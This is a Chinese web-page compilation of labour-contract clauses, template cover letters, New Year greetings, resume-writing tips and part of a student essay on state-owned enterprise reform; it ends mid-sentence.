2.3甲方因濒临破产进行法定整顿期间或生产经营状况发生严重困难,确实需要裁减人员的;
1. 乙方须提前三十日书面通知甲方或以支付甲方一个月工资的形式解除本合同。在这种情况下,甲方无义务就本合同的终止赔偿员工。
2. 有下列情况之一的,乙方有权随时通知甲方解除本合同:
2.1 经国家有关部门确认,甲方劳动安全、卫生条件恶劣,严重危害乙方身体健康的;
2.2 用人单位以暴力、威胁或者非法限制人身自由的手段强迫劳动的;
2.3 甲方未按本合同的约定支付劳动报酬的;
1. 本合同期满或国家法律、法规规定的其他终止劳动合同的情况出现,本合同即行终止,无需预先通知。
2. 本合同期满时,在甲乙双方自愿的基础上应及时办理续签劳动合同手续。
乙方同意将甲方制定的厂规、厂纪作为本合同的附件,并自愿遵照执行。
因履行本合同发生争议,甲乙双方同意首先协商解决;不能协商解决的,任何一方有权向当地劳动仲裁委员会申请仲裁。对仲裁裁决有异议,任何一方可向人民法院提起诉讼。
1. 本合同经双方签并经当地劳动部门鉴证后自本合同起始日起生效,只有通过双方同意方可修改。
2. 甲乙双方以往签订的任何合同或协议与本合同相抵触的,一律以本合同为准。
3. 本合同未尽事宜依照国家、省、市有关法律、法规执行。
4. 本合同一式二份,甲乙双方各执一份。
鉴证机构(签章):
敬爱的领导:
您好!我叫xx,非常感谢您在百忙之中审阅这份求职材料。谢谢!
抱着奉献于工作的极大热诚,同时也为了使自己在人才济济的竞争中获得一份宝贵的机会,特地递上我的自荐,真心的希望能得到您赏识。
我是xx大学20xx年应届毕业生,所学专业是汽车检测与维修。在大学的专业学习中,我认真学习,刻苦专研,取得了良好的成绩,每个学期均获得校级奖学金。现在xx大学考取第二学历,经济法专业。
从大学期间的实习到毕业后的工作,我有两年在汽车4s店售后工作的实践和经验。在此期间,我接触过一汽大众、广州本田、天津一汽、一汽解放轻卡等品牌车型。也做过机修员工、钣喷完检员、售后服务顾问、人力资源专员等职务。在职期间,能够很好的完成本职工作,听从领导安排,保质保量完成工作,先后三次组织、参与服务站开展的全车检查活动。
我不敢自诩自己是一个天才,但我相信塌实肯干好学上进的我能够胜任适合的工作。在竞争日益激烈的现今社会,我对我自己很有信心,只要能给我个机会,我会全力以赴运用我所有的能力完成我的工作,并在其中不断的积累经验、充实自己,我立志成为一名新世纪复合型人才。
正是感到社会竞争的压力,所以现正在进修企业人力资源管理师专业,有信心通过即将开始的国家资格认证。
虽然现实社会竞争激烈,但我依然信心百倍,因为孜孜不倦的求学历程让我具备新时代大学生的良好素质和适应社会竞争的综合能力,瞬息万变的社会环境给我尽情施展才能提供广阔的舞台。
大浪淘沙,搏为本,我将以八分的学识、十分的信心、十二分的勤奋去努力工作。
如您能够给我一段时间,一份信任,一个机会发挥我的潜力,我将全力以赴。有充分的信心担当起每一份责任!
此致
敬礼!
xxxx
xxxx年xx月xx日
尊敬的领导:
您好!
我叫XX,我毕业于XX中专职业学院,普通的院校,普通的我却拥有一颗不甘于平凡的心。我自信、乐观、敢于迎接一切挑战。虽然只是一名普通的中专毕业生,但是,年轻是我的本钱,拼搏是我的天性,努力是我的责任,我坚信,成功定会成为必然。
经过学校两年的锤炼,在面对未来事业的选择时,我对自己有了更清醒的认识,在学校中锻炼了较好的综合素质。
在思想品德上:我有着良好的道德修养,和坚定的政治方向,用先进的思想武装自己,具有强烈的法制观念,模范遵守学校规则制度,尊敬师长,团结同学,关心集体,树立正确的人生观、价值观、荣辱观。
在学习上:我首先端正了学习的态度:“知之者不如好之者,好之者不如乐之者”,追求学问首先在于爱学、乐学,这是关键。在这两年的时光里,我坚持每天上课,上好晚自习。学无常师,我随时随地注意向他人学习,取人之长,补己之短。在学习的方法上我坚持:“温故而知新”与此同时,我还特别注意学思结合,勇于实践。灵活运用知识,希望能做到理论和实际真正的结合。
在工作上,我戒骄戒躁,对工作热情,任劳任怨,责任心强,具有良好的组织交际能力,和同学团结一致,我注重配合班委出色完成各项工作。两年的寒窗苦读给了我扎实的理论知识、社会实践能力,我虽然只是一个普通的中专生,我相信,在我不断努力刻苦的学习中,我一定能够胜任这份高尚的职业,一个人惟有把所擅长的投入到社会中才能使自我价值得以实现。别人不愿做的,我会义不容辞的做好;别人能做到的,我会尽最大努力做到更好!发挥自身优势,我愿与以后的同事携手共进,共创辉煌。
当然一个高素质人才除了掌握扎实的专业知识,还应该具有丰富的人文知识。我从小热爱文学,广览群书,为我的写作能力奠定了坚实的基础。读书以来,不断参加校内外征文活动,发表过作品数篇特别在大学期间,被特邀为校报记者,参赛文章多次获奖此外,在英语的学习方面,我已具备了一定的听,说,写和会话能力,可以用英语进行日常的交流未来社会需要的是理论和实践相结合的复合型人才。学习之余,我参加了大量的社会实践活动,做家教,去商场做过促销员,从而锻炼了自己吃苦耐劳,一丝不苟的工作做风。
鲜花和荣誉只能代表过去,未来的社会于我完全是一个陌生的世界,更是一个充满挑战的世界。年轻的我,有的是旺盛的精力和不服输的信念,但却缺乏锻炼自我。展示自我的机会。没有您伯乐的眼光,我将无法施展自己所学的知识。因此,我非常希望能够成为贵公司的一员。我将以更大的热情投入到新的工作环境中去,为公司的发展贡献自己的青春。我的人生信条是“雄关漫道真如铁,而今迈步从头越”。给我一次机会,我会尽职尽责做到最好!
最后再次感谢您耐心的阅读了我的自荐书,祝愿贵公司越办越好!
此致
敬礼!
自荐人:XX
日期:20xx年XX月XX日
春节俗称“年节”,是中华民族最隆重的传统佳节,19辛亥革命以后,开始采用公历计年,遂称公历1月1日为“元旦”,称农历正月初一为“春节”。一起来看看的新春寄语吧!
恰逢新年春节忙,送走猴年迎鸡年,吉祥话要趁早,祝福语提前念。祝愿你新年新气象,快乐依然,幸福绵绵,平安一生,健康到永远!
春节送福:清晨早起精神抖,晚上早睡做美梦,饮食合理防节症,健康为主享万年,春节聚会酒肉多,祝福关心早送到,祝君节制体强健,来年还要为君送。祝:开心健康!快乐平安!如意吉祥!
富贵如云烟,情义却不变。虽然相距远,惦念在心间。光阴似飞箭,沧海变桑田。真情系你我,友谊常浇灌,又至小除夕,新年弹指间,愿你快乐每一天!
抢在新春前头,抢在爆竹前头,抢在欢腾的前头,抢在陶醉的前头,抢在将要到来的铺天盖地的短信前头,为的是您能听清我真挚的祝福!祝兔年春节快乐!
农历春节到,向你问个好,身体倍健康,心情特别好;好运天天交,口味顿顿妙。最后祝您及您的家人:鸡年好运挡不住,鸡年财源滚滚来!
歌声笑声连成片,大人孩子乐翻天,祝福心愿比酒甜,和和美美团圆年,吉庆有余举杯赞,家和万事皆如愿,福寿康宁岁月好,辞旧迎新生活甜。春节愉快。
春节假期回放:时间是亲朋的,眼睛是熬红的,肠胃是酒杯的,大脑是牌局的,奖金是挥霍的,身心是疲惫的,心里是开心的,最终整个人是要交给工作的!
为了提倡环保,节省纸张,在春节千万别送我贺卡,请在尽可能大的人民币上写下祝福的话送我就可以了,节约是美德,祝春节快乐!
一生之中总有一些朋友难忘记,一年之中总有一些节日最珍惜,从春到夏,由陌生到熟悉,虽不能时时想起,却会在特别的日子轻轻问一声:春节快乐!
心到,意到,祝福到;福到,运到,财气到。日子到,时间到,春节即将到,我的新年祝福提前到。如果有人敢比我早到,让他往边靠一靠!
让平安搭上春节的快车道,让快乐与你轻轻拥抱,让困难与你刮目相看,让烦恼低头悄悄走掉,让吉祥对你格外关照,让幸福对你永远微笑!祝春节快乐!
辛辛苦苦又一年,忙忙碌碌为挣钱;你来我往联系少,转眼又到春节了,发条短信情真意切了:愿你薪水多赚,奖金满满;快乐天天,幸福年年!
愿你新的一年里:事业正当午,身体壮如虎,金钱不胜数,干活不辛苦,悠闲像老鼠,浪漫似乐谱,快乐非你莫属!祝鸡年春节快乐!
春节马上到,对联贴门照;烟花绽夜空,欢声显热闹;电话短信来问好,合家欢聚笑一笑;健康围绕财运招,幸福生活常拥抱。新春快乐!
乐被人打包了,煽情被人赶早了,万事如意跟身体健康也不知道被谁拐跑了,可我的祝福还是送到了。春节愉快!
锣鼓喧天鞭炮鸣,举国欢庆迎新年。男女老少穿新衣,欢欢喜喜过大年。春联喜庆耀门庭,灯笼高照幸福临。人寿年丰又一春,生活美满笑颜开。祝春节快乐!
大地回暖春节来,小桥流水百花开。大红灯笼挂起来,笑迎宾客喜迎财。过年红包快拿来,姑娘漂亮小伙帅。烦恼忧愁不再来,福星财神相对拜。新年快乐,恭喜发财!
尊敬的领导:
您好!首先衷心感谢您在百忙之中浏览我的自荐信,为一位满腔热情的大学生开启一扇希望之门。
我叫xx,是青岛xx港口工程专业xx届毕业生。大学几年是丰富人生,挑战自我,实现自我的过程。大学几年的学习和生活不仅给予了我扎实的专业知识,还使我在生活,实践,交际等社会能力方面得以锻炼,为将来所从事的工作打下了良好的基础。我体会到,对良好的思想素质和心理素质,较高的知识水平以及一定的组织管理能力、文字表达能力、社会交际能力和社会实践能力等综合能力的培养,是现代社会对人才的基本要求。
大学期间,我基本掌握所学专业课程,而且对计算机软硬件有一定了解,能熟练操作各类办公软件,并一次性顺利通过了大学英语四级考试,六级成绩尚未公布,但我坚信我一次性通过。。几年里,我始终以“天道酬勤”自励,积极进取,立足扎实的基础,对专业求广度求深度,更注重专业理论与实践相结合,以优异成绩完成了学业。
在致力于求知的同时,我从没懈怠过对自身能力的培养和品行的塑造。在学校我历任系团总支组织部部长、社团部武术协会网络组组长,自觉的培养了自己的组织管理协调能力和团队协作意识。通过不断的努力,我已变得成熟,稳重,具备了良好的分析处理问题的能力, 也铸就了我坚毅的性格和强烈责任心。
在思想上,我注重政治理论学习和思想品德的修养,不断进取,提高觉悟,处处以一名优秀大学生的标准要求自己,积极参加各项组织活动,积极争取成为一名党员做准备。
一滴滴汗水是面对昨日舒心的微笑,也是走向未来丰沛的信心。站在世纪的曙光中,面对新的考验和抉择,我无法退缩,也无法沉默,我要用我那双冷静善于观察的眼睛,那颗真诚而热爱事业的心,用那双善于操作而有力的手,那双发誓踏平坎坷的脚一如继往的发扬对工作求真务实,锐意进取,开拓创新的工作作风和对事业执着追求的精神,磨砺前行。
尊敬的领导,相信您伯乐的慧眼,相信我的实力,我真诚地期望能投足你的麾下,牵手事业路,风雨同舟,共同构筑美好的未来。
带着自信,我“毛遂自荐”;带着希望,我期待您的肯定……
此致
敬礼
自荐人:xx
南方人才网是区域性人才市场,是中国南方人才市场旗下的.人力资源网站,经营业务包括网络招聘、报纸招聘、猎头、人才培训、人事代理、人才租赁、薪酬调查、HR经理人俱乐部等。
目录简介LOGO优势对比服务宗旨收缩展开简介在广东地区开设有广州、佛山、东莞、肇庆、深圳、中山、珠海、惠州、江门等分站,在广州地区占有市场份额高达75% ,在整个珠三角地区达60%,会员企业累计逾42万家,个人注册简历量累计逾550万份,每月发布职位信息高达48万条,网站日均页面访问量超过1000万人次,是华南地区最具影响力的专业人力资源网站。
LOGO优势对比招聘方式/条件功效 报纸媒体(以某报纸为例) 现场招聘会(以广州地区招聘会为例) 南方人才网网络招聘 费用比较: 按版面大小计算费用,少则上千元、多则上万元/每天平均价格800元/两天/展位 4800元/365天600元/30天 信息覆盖范围: 媒体覆盖范围 参加招聘会数千求职者 不受地域限制,覆盖全国有目的针对网络现有60万求职者 有效期: 广告发布当天 招聘会当天 服务期内长期有效 招聘成效: 有效应聘者少一次性信息 适合招聘初、中级人才,效果不确定 各级人才尽可搜索 工作量: 按广告效果应聘者成千上万,阅读简历不方便 上千人才简历,阅读不方便 个性化搜索引擎分门别类、觅才有道
服务宗旨・南方人才网提供给客户的所有服务项目,在无“广州南方人才资讯科技有限公司”书面允许的情况下,企业不得转供第三方使用,也不得利用以上服务从事经营性活动。一经发现,南方人才网有权立即终止所有服务,并保留追究其法律责任的权力。 ・客户在南方人才网上发布的信息必须合法、真实、规范(招聘职位信息必须与岗位职能相关)。否则,南方人才网有权立即终止所有服务。
尊敬的公司领导:
您好!顷阅星期四XXX报,获悉贵公司招聘人才。本人曾担任新世界产品公司销售部高级职员四年之久,自信有充分工作经验,可担任贵公司所招聘的职务,特拟此求职信,以下是我的自我介绍。
本人自二零零五年开始,一直担任售货业务以及函件的撰写工作。在工作期间,除正式业务范围外,与各地区客户颇有来往,并利用公余时间,学会了很多有关商业问题的处理。
在新世界公司任职前,我曾在长兄会计公司担任过秘书工作。在任职期间,学会很多有关会计名词及会计作业程序。
本人现年二十八岁,未婚,二零零四年毕业于华仁书院,我希望有机会充分利用自己工作能力,从事更大范围工作之需要,这是我急于离开现职的主要原因。本人现任职的公司老板,对我的工作雄心颇为赞许,因此,愿协助我另谋他职。
如果方便的话,我愿亲赴贵公司办公室晋见阁下,以便详细说明。附信附个人求职简历,期待与您的面谈。
此致
敬礼!
求职人:
20xx年X月X日
尊敬的公司领导:您好!
我已经在×××上班一段时间了。非常感谢你在我这次求职过程中给予我重新应聘的机会。因招聘网站上的信息没有更新,我所意向的“×××”一职部门早已经停止招聘了。我了解到情况后转向了×××。
×××也是一家电力行业的it企业,她的业务范围和×××有所交叉。×××近几年业务严重萎缩,现正在蓄积力量重振。有趣的是,在业务振荡的过去几年中软的很多工程师都去了×××,而我今天却加入了××。说心里话,在这里难免会产生落差。并非是因为××的福利低于×××(我离开×××后的薪资还是有一定增长的);企业文化才是两个公司的区别,企业文化本是比较虚的东西,但是有了对比和参照后,感觉立即就深刻了。虽然工作环境有不尽人意的地方,但我还是非常珍惜这份工作。创业后我也深深的体会到做老板的不易。我认为每一份工作不管喜不喜欢,既是做了就应该努力做到。
当然,我并不后悔离开康拓普,我为追求一个理想而离开;我也不会介意有人会说,我又回来找*领导要工作。
我已经在承担梦想破灭后的严重后果了。不断的提升能力,不断的积累经验,我发现却是更难的找到工作。it是个年轻人的行业,很多主管的年龄正与我相仿,容纳同龄的下属也需要更多的包容。面对职场,我一下子不知怎么去与同龄人竞争;面向未来,我到四十岁还有十年,还有机会发展自己。
刚从创业的激情中冷清下来,我还没有完全规划好新的职业计划,未来的职业方向会从系统集成项目回到it服务。我在***没有从后勤岗位成功转型到it服务,新的创业公司又在it服务中折戟,对这一行业持续关注和投入,我建立了深厚的行业感情;而且更为高端的it服务,我接触还太少。正因为如此,我看好这个方向,我在这一方向的发展远未到瓶颈。
***在it服务外包上的格局还未打开,此时也没有招聘需求。回来工作可能是一件比较困难的事情。it是个比较小的圈子,不经意间我又到了电力行业的it公司。希望能继续保持与领导和其他同事的联系,并不断的听到×××的好消息。祝身体健康!工作顺利!
在简历上附上求职信,到底有没有必要?这一做法,事实上在大学应届毕业生求职时早已成了固定格式。某大型人力资源机构近日发布的调查显示,六成人士并不看好求职信,他们的理由是求职信往往只是一种摆设,一种浪费资源的包装。
采访中,多名招聘负责人表示,许多求职信千篇一律,里面所抒发的感情又大多被夸张地修饰过,显得华而不实,对招聘工作不具有可比的参考价值,所以他们更乐意关注简历中的工作经验部分。
求职信真的就一无是处了?据职场专家介绍,这得看你是画蛇添足还是锦上添花。也许有人担心招聘方没有耐心看求职信,但如果你的简历很有吸引力,他们还是愿意拨出时间来地了解你,这时,求职信就显得尤为重要了。但求职信切忌太长、太虚、太花、太假,多突出自己的闪光点。
求职面试的您了解求职信的重要性吗?如何确保投出的求职信有回音?下面本站提供了一篇写一份高含量的求职信,仅供参考。
一、开头:
开头一定要开门见山的写明你对公司有兴趣并想担任他们空缺的职位,以及你是如何得知该职位的招聘信息的。这样会使你的求职信显得有针性和条理性,同时使人事经理更好了解各种招聘途径的效果,会让招聘公司立即对你产生好感。
如:我从《***职位快讯》上看到贵公司正在招聘***职位,我寄上简历敬请斟酌。
二、重点:对申请职位的认识和符合职位个人才能和经验的展示
信的第二部分要简短地叙述自己的才能,特别是这些才能将满足公司的需要。没有必要时具体陈述,因为履历表将负责这些。这部分你强调你的将会有益于公司的发展。不要在信中表示你会因聘用而收益多少,面对桌上一大堆履历表和许多空缺职位,招聘经理关心的不会是你的个人成就。尽可能地少用人称代词我,要让人感到你想表达的是我怎样才能帮你。
三、要点:联系方式写清楚
在示职信中给出你电话预约面试的可能时间范围,或表明你希望迅速得到回音,并标明与你联系的最佳方式。
四、结尾:感谢他们阅读并考虑你的应聘。
写求职信戒四误:
通过写信求职是一常见方式,但必须避免以下四种失误以提高求职命中率。
1、不够自信,过于谦虚
求职者应当在信中强调自己强项,即使不可避免地要说明自己的弱项,也没有必要时那么坦率。
2、主观意愿,推理不当
许多求职者为了取悦于招聘单位,再三强调自己的成绩,而不知有关经验与能力对职位的重要性。
3、语气过于主观
对于招聘单位来讲,他们大都喜欢待人处世比较客观与实际的人,因而求职者在信中尽量要避免用我认为,我觉得,我看,我想等字眼。
4、措辞不当,造成反感
写求职信最忌用词不当,例如:有我这样的人才前来应聘,你们定会大喜过望。对方看到这们的词语,怎么会不反感呢?
写好求职信的重点
一、姓名、通讯地址、联系电话、电子邮件、网址占据求职信顶端的中间或靠边。注意:每条信息之间分隔清晰,网址独立成行;为便于扫描,每条信息独立成行最好。
二、日期低于联系方式两行,靠右边;提要低于日期一行,靠左边。在英文求职信中,日期靠左边/右边,提要低于日期两行,靠右边。
三、能够用对方的姓名直呼对方最好,因为人们都是喜欢别人称呼自己的名字。所以,想办法去弄清楚面试负责人的姓名和性别。如果不能,你可以使用尊敬的雇主或干脆用早上好比起用尊敬的先生或女士要亲切地多。
四、想尽一切办法,让求职信的第一句话就抓住阅读者,让他能认真地读你的简历。使对方感兴趣的金科玉律是:从对方的利益出发,为对方的利益服务。
五、把你的基本技能、成绩、以及别人对你以往业绩的评价介绍给雇主,对你的工作经历加以概括,如:在某公司担任会计工作期间,取得了如下成绩:┄┄如果你的求职信不包括简历,那么长度不应超过六段。
六、向对方致谢,感谢其花时间阅读你的材料,并考虑与你面谈;告诉对方你会在某某时间打电话询问材料是否安全抵达和安排时间面试事宜。即使你打电话问知的结果不尽如人意,但总比你一直等待一个永远不会打来的电话要好。
七、常见的结束语有此致、敬礼、顺颂商安等。其下是你的签名,字迹不可潦草模糊。如果在联系方式中你没有署名,那么在你的签名下应该打印上你的名字,以确保对方能清晰辨认。
时光在不经意中流逝,为了寻找新的工作,求职是非常关键的一环。求职信也要与时俱进准备好了,求职信能够让用人单位更加了解自己。如何在求职信中把自己的闪光点全部写出来呢?下面是小编为大家整理的“如何写求职信”,供大家参考,希望能帮助到有需要的朋友。
应届本科生,在每年的大学校园中都会毕业很多,各本科生们如何面临社会,如何才能找到一份满意的工作呢?下面一起来看下吧~ 如何写求职信?
1、简历标题最好的简历标题,首推应聘销售岗位的人--X年岗位经验诚心求职XXX部门XXX岗位姓名139XXXXXX次一点的简历标题--应聘XXX岗位最次的简历标题--求职兄弟,你知道吗。看简历的人和通知面试的人往往不是一个人哦。
HR看完如果觉得你合适,要把你的简历放在一个单独收件箱,然后告诉助理通知这个收件箱里所有人安排面试。
助理需要再把你的简历打开,研究下你是应聘什么岗位的,找你的联系方式。如果助理MM今天心情非常不好,打了一下午电话了。可能就会告诉HR,你的电话联系不上哦。
2、简历问候语很重要!不要一上来就是个人简历4个大字,下面一堆文字和表格。麻烦先写2句问候语。尊敬的人事部经理:我很欣赏贵公司的XXXXXXX,。。。。。,下面是我的简历,请查收!(这样会让你和别人不同。如果你是个回家进门就和家人打招呼的好孩子,一定不会忘记这条的)
3、简历问候语下面的话建议:这个时候还是不要写标题。而是写3,4句一小段话,直中红心。比如我一直从事JAVA方面的项目,专注JAVA项目的开发,拥有1年中型项目经验,很强的代码规范能力。(我当然知道也许你还会.NET或者别的,但你面试的是JAVA程序员,先谈谈JAVA吧。
4、简历正文终于,HR开始看你的全面介绍了。
a、求职动机千万不要只写:
我希望来学习这样的话。虽然任何公司都希望员工有学习精神,但不要让别人认为你的核心目的是来镀金的。公司本质讲不是学校。就算公司建立1000平方米研发中心,也不是办学校。
b、专业技能这里切忌:
不是一股脑把你的口袋都翻出来,告诉我你会这个会那个。请拣对这个职位有+分的说。我收到不少应聘行政的简历的应届毕业生,简历里不断给我讲她的课程有C语言,还把成绩单PO在后面。小MM,行政是不用C语言的。给我讲点别的什么好吗。
c、不+分的特长不要写。
不要告诉我,你得过多少奖学金,当过什么课代表,学校什么杯比赛拿了个奖。不是说你写的不真实。而是,就算是真实又怎样?能为你应聘这个职位+分吗?不能就不要写,画蛇添足,感觉心虚。那什么样的学校经历可以写呢?如果你应聘的是活动策划。
可以写你在学校广播电台长期担任XX职位,学校舞蹈队XX职位。(前提是你真的干过。不用调查也能看出来的哦)如果你应聘的是程序员。可以写你对数学与程序的看法。不用多,2句也行。最牛B就是写一句话:大学四年自己写过10万行代码。冲着这句话,我一定约你来谈谈。如果你应聘的是美术。可以谈谈老师规定的以外,你还画什么风格的,有商业型(不是艺术家型)的平面作品更好哦。
d、离职原因这个。。。
如果你面试的不是主管以上岗位,别写。我见过一个简历,4次离职。
A工作离职原因:公司管理混乱
B工作离职原因:没有发展空间
C工作离职原因:离家太远。
D工作离职原因:工作氛围不好。
这种简历一般我不会看中。也许下一次离职原因你会觉得公司楼下饭不好吃。因为:如果你应聘是普通岗位,公司希望你是适应环境的人。如果你应聘的是管理岗位,公司希望你是创造环境的人。
如果非要写,建议:回家照看生病的父母(也许你是因为失恋想换个环境);
公司项目解散;与公司的合同到期;
e、不要随便贴相片。
如果你很好看,不要贴。一般,最好别贴。不自信,更别贴。你要相信HR虽然不是算命的,但是面相这个东西,在各位HR的心里存在。你还要相信一点,HR都有职业病。大公司的HR更严重。HR是干嘛,每天看人。一回某人入职后表现让他失望了,HR被老板骂,二回、三回.你是HR你会有什么心理,轻微的心理发泄欲望。当然,如果你面试的是总经理助理(助理分很多种),特别是帮总经理订票啊这些日常工作。如果你有足够自信,贴吧。因为聪明的HR在招这样岗位会明白BOSS都喜欢看美女。赌一把,贴了。还有,贴的相片不要用身份证照。也不要用非主流侧脸嘟嘴可爱照。生活旅游照最好。男生要注意,胡子刮干净。去灯光亮点的照相馆。女生:看着自然。男生:看着规矩。就行。
f、结束语简历的结束语很重要。
说实话,不要说应届生,很多工作1、2年的人,连发工作邮件的签名怎么写都不知道(自己论坛的签名倒是很花哨)。建议可以写。静候佳音、祝您心情愉快。落款XXX,联系方式,日期(要写日期哦,HR看人看细节的)。
g、简历附件只有一类职业的简历附件我会下载看。就是技术工种的职业。因为HR一般能默许技术工种的人比较实在。。。如果你是行政、产品、销售、管理类的岗位,千万不要用下载附件。因为除了技术工种,其他职位都要和人打交道很多。会不会做人就看你有没有服务意识。我要看这么多简历,你让我下载,你不知道公司网很卡吗。如果你非要用附件。那么切记邮件正文要写点什么。不要白纸一张。
求职信范文尊敬的领导:
您好!我是xxxx大学的一名应届本科毕业生,所读专业是XXXX,从网上获知贵公司正在招纳贤才,我希望能成为贵公司的一员。
我了解到贵公司是一家很有实力的公司,公司业绩蒸蒸日上。这正是我想加入的团体。我相信公司能够给我提供一个广阔的舞台,让像我一样的大学生得以自由发挥自己的能力,与公司共同进步。大学四年的教育,使我懂得认真,敬业,勤奋乃是职业生涯的第一要义。怀着对未来事业的信念和信心,我愿兢兢业业,踏踏实实,在工作中学习,在工作中提升,在工作中作贡献。随信附有我的个人资料,如有机会与您面谈,我将十分感谢。
此致
敬礼
XXX
2020年XX月XX日
时光在不经意中流逝,是时候考虑求职找工作的事情了。在求职过程中可以根据自己的情况写一封求职信,很多人都觉得写一封优秀的求职信是很难的吧。那么有哪些优秀的求职信是能给我们参考的呢?急您所急,小编为朋友们了收集和编辑了“[精]公司个人求职信如何写4篇”,供大家借鉴和使用,希望大家分享!
dear mr.smith,
ms.maria mayor of your company has told me that your department needs a managerial assistant,and i want to apply for the position.i graduated from the university of business and economy last year.my major was human resource.i have some business experience that i believe qualifies me for the position..
i am really interested in learning business practices.i am a diligent worker and a fast learner.if given a chance,i am sure i can prove my worth in your company.
i am available during the weekdays in the morning for an interview.please find my resume enclosed.i look forward to hearing from you.
sincerely yours,
这篇内容讲的是关于等方面的内容,希望对网友有用。
尊敬的某某公司招聘团队:
您好!很荣幸能有机会给贵公司投递我的求职信。我是一名对时尚产业充满热情的年轻人,希望能够加入贵公司,为您的服装品牌贡献我的才华和激情。
我对时尚有着长久的追求和研究。在幼儿园的时候,我就开始对服装产生了兴趣,那时的我总是在玩具箱里找到乐趣,并将它们巧妙地搭配在一起。随着年龄的增长,我开始主动关注各种时尚资讯,喜爱看时装杂志和参观时装展览。我深知时尚的变幻莫测和个性的重要性。
为了更好地了解时尚的趋势和行业的运作,我选择在某某大学学习时尚设计专业,并于今年顺利毕业。在大学期间,我参与多个服装设计项目,锻炼了我的设计和创意能力。我积极参加商业比赛和演讲,以扩大我的人际网络,拓宽我的视野。这些经历不仅提升了我的设计能力,还让我明白了市场需求和消费者心理对于一个成功的服装企业意味着什么。
我相信自己的敏锐时尚眼光和创新思维,可以为贵公司带来独特的设计理念和市场竞争力。我热衷于与团队合作,在合作中能够互相激发灵感和创意。我还具备出色的沟通和组织能力,能够与供应商和厂商进行合作,确保生产流程的顺利进行。
我对可持续性时尚的重视也使我有能力为公司在环境和社会责任方面提供支持。我关注品牌的社会影响和环保问题,并将这些价值观融入到我的设计中。我相信,通过为贵公司工作,我能够将这些价值观传递给更多的消费者,与贵公司一起为推动可持续时尚发展做出贡献。
我对贵公司的服装品牌非常欣赏和崇敬,希望能够有机会加入您的团队。我愿意承担新的挑战和责任,并时刻保持学习和进步的态度。期待能够参与到贵公司的发展中,为您的品牌做出突出的贡献。
感谢您花费宝贵的时间阅读我的求职信。我期待着能够有机会与您进一步交流,展示我的专业和能力。再次感谢您对我的关注与支持。
诚挚的问候,
XXX
---真理惟一可靠的标准就是永远自相符合
国有企业求职信() ? 第一篇:国有企业
国有企业、事业单位职工视同缴费年限期间应当缴纳的基本养老保险费由谁承担?
答:《社会保险法》第十三条规定:国有企业、事业单位职工参加基本养老保险前,视同缴费年限期间应当缴纳的基本养老保险费由政府承担。 ? 第二篇:浅谈国有企业
浅谈国有企业“办社会”现状
在计划经济时代,社会被分为若干部分,每个小部分都是由一个国有企业支撑。国有企业在经营自己的主营业务的同时,要拿出一部分利润,为自己的员工及其家属建造住宅区、学校、医院、娱乐场所等等附属设施。同时,企业还要负责其员工和家属的社会福利及养老保障。当时,每个人工作固定,大学毕业生也是由国家统一分配,工人这一职业更被称为铁饭碗,在上一代退休之后,下一代可以接替上一代的班。在这样一种劳动力几乎不流动的大背景下,国有企业“办社会”变成了一种必然,因为国企“办社会”更能够保证目前社会结构,劳动力结构的稳定性,使计划经济的操作性更强,劳动力更能觉得自己的生活有保障。
然而,国企“办社会”的弊端日益明显,它使原本效率低下人员膨胀的国有企业背上了一个大包袱。在我国计划经济向市场经济转型的过程中,分离
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国有企业“办社会”势在必行。因为只有这样,才能使国有企业在短时间内摆脱困境,得以在市场中存活。将国有企业与其所办社会分离,也成为了国有企业改革的一个重要部分。
对于现状而言,国有企业还可以说是办社会么?我认为出于如下原因,这个是个比较难以回答的问题。首先,难以清除界定什么样的程度可以划归为企业办社会,什么样的程度不属于。无论在中国还是西方,企业为职工提供住房,企业为员工及其家属提供养老等福利行为都是普遍存在的。我们并不能很清楚地以某种特定行为为分界线来划分国有企业是否在“办社会“。
其次,目前虽然已基本实现分离国有企业办社会,但是并未在全国范围内完全实现这种分离。目前,在很多农场,牧场依然存在严重的国有企业办社会的行为,而很多专家学者也提出了自己的解决方案,促使这种改革早日实现。因此,严格意义上的分离还未实现,从这个角度看,我国仍可以说是国有企业办社会。
然而,正如某些学者所说,中国在计划经济的大趋势下,国有企业社会化的主体正在日趋多元化,很多地区的这种多元化已经走的很进,基本摆脱了国有企业办社会。在二十世纪末二十一世纪初的大力度的国有企业改革中,大多数学校和医院已经脱离企业,收归于国有。
社会保障也是很重要的一个因素。随着我国社保制度的完善与发展,目前,我国已经基本摆脱国有企业为员工提供社保的模式,而是通过企业统一收缴,交由国家迚行操作,以保证劳动者社保的权利。
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综上所述,我国虽然没有完完全全摆脱国有企业办社会,但我国以大体上实现了国企的改革,使国有企业办社会的行为基本消失。因此,我们已不可以说我国仍处于国有企业办社会的状态。 ? 第三篇:浅谈国有企业
琼州学院电子信息工程学院2014年暑期社会实践论文(报告) 浅谈国有企业 常家伟
(电子信息工程学院 10级软件工程(1)班三亚)
摘要:近年来中国大型国有企业的发展前景并不是很好,带来这一结果的有诸多方面的问题,比如:由于企业待遇的不好导致了优秀员工的流失,员工工作时的热情的不足从而导致效益平平。同时还有外来企业的竞争力与日俱增,使得国企有些“吃不消”。
还有我国国有企业的管理历来是一大难题,其中较突出的问题有:由于多数国有企业采用集权管理方式,决策程序不科学。目前,我国国有企业的管理经营者多由政府直接任命的,采用集权管理方式,国有企业的负责人身兼数职,各种决策集于一身,决策是否科学,是否符合公司经济利益等,一般职员无法监督,这种现状很难适应市场经济发展。
关键词:中航工业 现状 对策
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? 一、现状
(一)我国国有企业在制度安排上没有很好地给企业的决策者提供一个追求长远利益的稳定预期与重复博弈的规则,使决策者的利益与他所决策的企业的利润没有长远关系,决策者管理努力投入不足。
另外,多数国有企业是一种典型的金字塔式的集权管理方式,政治色彩浓厚,不讲规则,企业管理决策采取领导拍板式权威决策。有能力的决策者由于责任意识淡薄而忽视管理,造成个人决策、集体负责这种扭曲的决策行为,直接影响了管理效率。这种状况是很难适应市场经济要求,造成了决策的不科学、不规范,甚至造成决策失误,带来不必要的经济损失,影响了企业的经济效益和发展。
(二)国有企业管理者管理素质和管理水平需要进一步提高。经营管理者是企业发展的核心力量,企业经营管理者对国企的生存发展起着关键作用。国有企业管理团队状况如何,国有企业管理人员自身的素质存在问题,有些领导政治、业务素质不高,领导、决策能力不强,致使决策不果断,管
